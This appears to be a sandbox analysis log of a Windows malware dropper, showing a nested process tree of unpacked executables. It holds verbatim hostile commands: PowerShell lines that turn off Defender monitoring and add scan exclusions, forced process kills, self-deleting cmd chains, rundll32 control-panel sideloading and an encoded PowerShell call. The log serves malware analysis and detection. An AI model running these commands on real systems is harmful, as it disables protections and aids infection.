                                                                                                                                                                                                                                PID:1512
                                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                  timeout 3
                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                  PID:1540
                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                  powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\Admin\AppData\Local\Temp\mni.exe') }).Terminate()"
                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                    PID:3400
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c 61d80bac4940b_Fri098e893e.exe
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                            PID:3520
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80bac4940b_Fri098e893e.exe
                                                                                                                                                                                                                              61d80bac4940b_Fri098e893e.exe
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:2316
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-E1H4T.tmp\61d80bac4940b_Fri098e893e.tmp
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-E1H4T.tmp\61d80bac4940b_Fri098e893e.tmp" /SL5="$150346,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80bac4940b_Fri098e893e.exe"
                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                    PID:3984
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80bac4940b_Fri098e893e.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80bac4940b_Fri098e893e.exe" /SILENT
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                        PID:2956
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-EHMLM.tmp\61d80bac4940b_Fri098e893e.tmp
                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-EHMLM.tmp\61d80bac4940b_Fri098e893e.tmp" /SL5="$4035C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80bac4940b_Fri098e893e.exe" /SILENT
                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                            PID:1080
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c 61d80baa2ccfc_Fri092c13a5e44.exe
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                      PID:188
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80baa2ccfc_Fri092c13a5e44.exe
                                                                                                                                                                                                                                        61d80baa2ccfc_Fri092c13a5e44.exe
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                          PID:760
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c 61d80ba9285b0_Fri09c879a22d.exe
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                          PID:2116
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba9285b0_Fri09c879a22d.exe
                                                                                                                                                                                                                                            61d80ba9285b0_Fri09c879a22d.exe
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                              PID:3628
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\NMhSvVOfAXpP & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba9285b0_Fri09c879a22d.exe"
                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                  PID:276
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                    timeout 4
                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                    PID:3300
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c 61d80ba84058b_Fri0985a254b2.exe
                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                PID:2120
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba84058b_Fri0985a254b2.exe
                                                                                                                                                                                                                                                  61d80ba84058b_Fri0985a254b2.exe
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:3648
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\d02f0bab-7687-4e6b-95a8-7e0240871ab5.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\d02f0bab-7687-4e6b-95a8-7e0240871ab5.exe"
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                        PID:2500
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\dc9102bc-5be9-4d87-b2c7-7f6e80b95d3a.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\dc9102bc-5be9-4d87-b2c7-7f6e80b95d3a.exe"
                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                          PID:832
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\b75d2d7a-8331-42f9-9812-066cd6dedf35.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\b75d2d7a-8331-42f9-9812-066cd6dedf35.exe"
                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                            PID:2640
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\812ac898-04d7-42a6-b5c4-c8e899ea58ba.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\812ac898-04d7-42a6-b5c4-c8e899ea58ba.exe"
                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                              PID:3244
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\b8082a28-c1aa-4122-a771-c24d2ccec1b6.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\b8082a28-c1aa-4122-a771-c24d2ccec1b6.exe"
                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                PID:3212
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\8621303.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\8621303.exe"
                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                    PID:1172
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\control.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\1PWZJorD.Cpl",
                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                        PID:3424
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                          "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\1PWZJorD.Cpl",
                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                            PID:1540
                                                                                                                                                                                                                                                                            • C:\Windows\system32\RunDll32.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\1PWZJorD.Cpl",
                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                PID:2816
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\1PWZJorD.Cpl",
                                                                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                                                                    PID:3200
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c 61d80ba770344_Fri09138836a495.exe
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:3376
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba770344_Fri09138836a495.exe
                                                                                                                                                                                                                                                                          61d80ba770344_Fri09138836a495.exe
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                            PID:4020
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 788
                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                              PID:3048
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c 61d80ba720b42_Fri09fe2875.exe
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                            PID:2444
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba720b42_Fri09fe2875.exe
                                                                                                                                                                                                                                                                              61d80ba720b42_Fri09fe2875.exe
                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                PID:1700
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                    PID:3960
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                      taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                      PID:3692
                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                      PID:3236
                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef62e4f50,0x7fef62e4f60,0x7fef62e4f70
                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                          PID:2056
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c 61d80ba521504_Fri095285bc9.exe
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                      PID:2252
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba521504_Fri095285bc9.exe
                                                                                                                                                                                                                                                                                        61d80ba521504_Fri095285bc9.exe
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                          PID:3416
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\9220450237.exe"
                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                              PID:3876
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\9220450237.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\9220450237.exe"
                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                  PID:2800
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\8956841707.exe"
                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                  PID:372
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8956841707.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\8956841707.exe"
                                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                                      PID:3992
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 1036
                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                    PID:2224
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c 61d80ba3eb2e4_Fri0918b6bde.exe
                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                  PID:696
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba3eb2e4_Fri0918b6bde.exe
                                                                                                                                                                                                                                                                                                    61d80ba3eb2e4_Fri0918b6bde.exe
                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                      PID:1892
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\control.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\1PWZJorD.Cpl",
                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                          PID:1076
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\1PWZJorD.Cpl",
                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                              PID:2756
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\RunDll32.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\1PWZJorD.Cpl",
                                                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                                                  PID:1536
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\1PWZJorD.Cpl",
                                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                                      PID:2336
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c 61d80ba337687_Fri09274b9d5dc.exe
                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                              PID:2636
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba337687_Fri09274b9d5dc.exe
                                                                                                                                                                                                                                                                                                                61d80ba337687_Fri09274b9d5dc.exe
                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                  PID:3940
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c 61d80ba2a5441_Fri09ae82df5ac.exe
                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                  PID:3352
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba2a5441_Fri09ae82df5ac.exe
                                                                                                                                                                                                                                                                                                                    61d80ba2a5441_Fri09ae82df5ac.exe
                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                      PID:3552
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                          PID:2824
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c 61d80ba19ac5e_Fri092dd33d.exe
                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                        PID:3192
                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba19ac5e_Fri092dd33d.exe
                                                                                                                                                                                                                                                                                                                          61d80ba19ac5e_Fri092dd33d.exe
                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                            PID:3108
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba19ac5e_Fri092dd33d.exe
                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba19ac5e_Fri092dd33d.exe" -u
                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                PID:2708
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c 61d80ba035b9f_Fri0999dff80.exe
                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                              PID:3440
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c 61d80b9df0ab8_Fri09d2287a2a.exe
                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                PID:3564
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80b9df0ab8_Fri09d2287a2a.exe
                                                                                                                                                                                                                                                                                                                                  61d80b9df0ab8_Fri09d2287a2a.exe
                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                    PID:1216
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsA
                                                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                                                        PID:2492
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\61d80b9df0ab8_Fri09d2287a2a.exe
                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\61d80b9df0ab8_Fri09d2287a2a.exe
                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                          PID:3916
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                        PID:3044
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                          PID:3404
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                            powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                              PID:2008
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\139_setupInstaller.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\139_setupInstaller.exe"
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:2940
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\139_setupInstaller.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Desktop\139_setupInstaller.exe"
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:2740
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\139_setupInstaller.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Desktop\139_setupInstaller.exe"
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:3448
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\explorer.exe"
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                              PID:2684
                                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:2348
                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6384f50,0x7fef6384f60,0x7fef6384f70
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                    PID:2544
                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1124 /prefetch:2
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:2292
                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1452 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:3924
                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1708 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:4072
                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2324 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:3324
                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2028 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                              PID:3676
                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2020 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:564
                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2552 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:984
                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2996 /prefetch:2
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:2784
                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,18077826561079730693,11415031170802005640,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=944 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:2756
                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
